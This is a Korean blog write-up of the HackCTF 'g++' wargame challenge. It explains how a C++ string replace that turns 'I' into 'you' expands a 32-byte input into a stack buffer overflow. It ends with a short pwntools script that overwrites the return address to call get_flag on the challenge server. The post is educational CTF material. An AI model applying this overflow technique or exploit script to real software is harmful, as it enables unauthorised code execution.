블로그 이전했습니다. https://jeongzero.oopy.io/
[HackCTF] g++
본문 바로가기
워게임/HackCTF

[HackCTF] g++

728x90

[HackCTF] g++

Date
Tags report

 

1. 문제

 

NX 비트가 걸려있는 것을 확인 할 수 있다

 

프로그램을 실행시키면 다음과 같은 문구가 뜨고 입력할 수 있는 공간이 뜬다

 

그리고 So, + 입력한 문자열이 나온다.

 

코드를 한번 봐보자

 

 

메인 함수는 별게 없다. Vuln함수를 봐보자

 

 

vuln 함수는 다음과 같다. c++ 코드로 되어 있는것 같은데 굉장히 복잡해 보인다.

우선 s변수에 fgets로 값을 입력받는다.

 

 

그리고 get_flag 함수가 있는데 이거를 실행시켜야 플래그를 획득할 수 있을 것같다

 

흐름을 보쟈면, fgets 함수와 strcpy 함수를 이용하여 bof를 일으키고, get_flag 함수를 실행시키면 될것같다

 

 

2. 접근방법

 

  • 코드를 보면 처음에 입력한 값이 s에 들어가고 그걸 input에 복사한다
  • 그다음 v5에 "you", v7에 "I"를 넣고
  • replace 함수를 이용하여 v4에 input, v7 변수를 인자로 하여 "I"를 "you"로 변경시킨다

 

그렇다면, 처음에 fgets는 32바이트 크기만 입력을 받으므로, ret 주소까지의 거리인 ebp-3Ch , 즉 64바이트 크기만큼 입력을 못한다

 

하지만 replace 함수를 통하여 I 가 you 로 변경되기 때문에 이를 이용하면 될 것이다

 

정리하면

 

  • ret까지 필요한 크기 : 64byte
  • 페이로드 : I * 21 == you * 21 = 63 여기에 + 1byte(아무값)

 

이렇게 입력하면 될 것이다

 

 

3. 풀이

 

최종 익스 코드는 다음과 같다

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3011)

#p.recvuntil("Tell me something about yourself:")
#p.recv(34)
payload = "A"
payload += "I"*21
payload += p32(0x08048F0D)

p.sendline(payload)

p.interactive()

 

recvuntil() 사용하면 중간에 멈추고 진행이 안된다. 이는 서버 오류인듯 싶다

 

 

4. 몰랐던 개념

 

c++ 아이다 코드에 익숙해져야겠다

 

728x90

'워게임 > HackCTF' 카테고리의 다른 글

[HackCTF] poet  (0) 2020.04.11
[HackCTF] Offset  (0) 2020.04.11
[HackCTF] BOF PIE  (0) 2020.04.11
[HackCTF] Basic FSB  (0) 2020.04.11
[HackCTF] Baisc BOF 2  (0) 2020.04.11